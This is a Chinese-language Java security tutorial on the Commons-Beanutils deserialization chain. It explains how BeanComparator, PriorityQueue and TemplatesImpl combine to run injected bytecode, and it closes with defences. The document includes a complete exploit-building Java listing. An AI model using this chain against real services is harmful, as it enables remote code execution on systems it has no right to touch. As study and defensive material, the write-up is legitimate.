Java安全 - Commons-Beanutils链
字数 1005 2025-08-19 12:42:36
Commons-Beanutils反序列化链分析
1. Java Bean基础
Java Bean是一种Java类的书写规范,满足以下条件:
- 成员变量均使用private关键字进行修饰
- 提供构造方法(有参/无参)
- 为每个成员变量提供set/get方法
示例:
public class Student {
private String name;
private int sid;
private int age;
public Student(String name, int sid, int age) {
this.name = name;
this.sid = sid;
this.age = age;
}
public Student() {}
// setter/getter方法
public void setName(String name) { this.name = name; }
public void setSid(int sid) { this.sid = sid; }
public void setAge(int age) { this.age = age; }
public String getName() { return name; }
public int getSid() { return sid; }
public int getAge() { return age; }
}
2. Commons-Beanutils核心功能
Commons-Beanutils提供了对Java Bean的操作工具,核心功能是通过反射动态调用getter/setter方法。
关键方法:
PropertyUtils.getProperty(student, "name");
调用流程:
- 调用
getNestedProperty - 进入
getSimpleProperty - 调用
getPropertyDescriptor获取属性描述符 - 通过反射调用对应getter方法
3. 反序列化链分析
3.1 利用点:TemplatesImpl
利用TemplatesImpl类的getOutputProperties()方法执行任意代码:
TemplatesImpl templates = new TemplatesImpl();
// 通过反射设置恶意字节码
Field bytecodesField = templates.getClass().getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("Test.class"));
byte[][] codes = {code};
bytecodesField.set(templates, codes);
// 设置必要字段
Field nameField = templates.getClass().getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "test");
Field facField = templates.getClass().getDeclaredField("_tfactory");
facField.setAccessible(true);
facField.set(templates, new TransformerFactoryImpl());
// 触发
PropertyUtils.getProperty(templates, "outputProperties");
3.2 反序列化入口:BeanComparator
在commons-beanutils中,BeanComparator.compare()方法会调用PropertyUtils.getProperty():
public int compare(Object o1, Object o2) {
Object value1 = PropertyUtils.getProperty(o1, property);
Object value2 = PropertyUtils.getProperty(o2, property);
return internalCompare(value1, value2);
}
3.3 完整利用链
结合CC链的PriorityQueue:
- 创建恶意
TemplatesImpl对象 - 创建
BeanComparator并设置比较属性为"outputProperties" - 创建
PriorityQueue并设置比较器为BeanComparator - 将
TemplatesImpl对象加入队列 - 序列化/反序列化触发
完整EXP:
// 创建恶意TemplatesImpl
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field bytecodesField = tc.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("Test.class"));
byte[][] codes = {code};
bytecodesField.set(templates, codes);
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "test");
Field facField = tc.getDeclaredField("_tfactory");
facField.setAccessible(true);
facField.set(templates, new TransformerFactoryImpl());
// 创建比较器
BeanComparator beanComparator = new BeanComparator("outputProperties");
// 创建PriorityQueue
PriorityQueue priorityQueue = new PriorityQueue(2, beanComparator);
priorityQueue.add(templates);
priorityQueue.add(1);
// 序列化触发
serialize(priorityQueue);
4. 关键点总结
- Java Bean规范:必须符合规范的类才能被Commons-Beanutils操作
- PropertyUtils.getProperty:通过反射调用getter方法的核心
- TemplatesImpl利用:通过
getOutputProperties()触发字节码加载 - BeanComparator.compare:反序列化入口点
- PriorityQueue触发:通过反序列化队列触发比较操作
5. 防御措施
- 升级Commons-Beanutils到最新版本
- 使用安全防护产品检测/拦截恶意序列化数据
- 对反序列化操作进行严格管控
- 使用白名单机制限制可反序列化的类
6. 流程图
反序列化PriorityQueue
↓
触发compare()方法
↓
BeanComparator.compare()
↓
PropertyUtils.getProperty()
↓
调用TemplatesImpl.getOutputProperties()
↓
加载并执行恶意字节码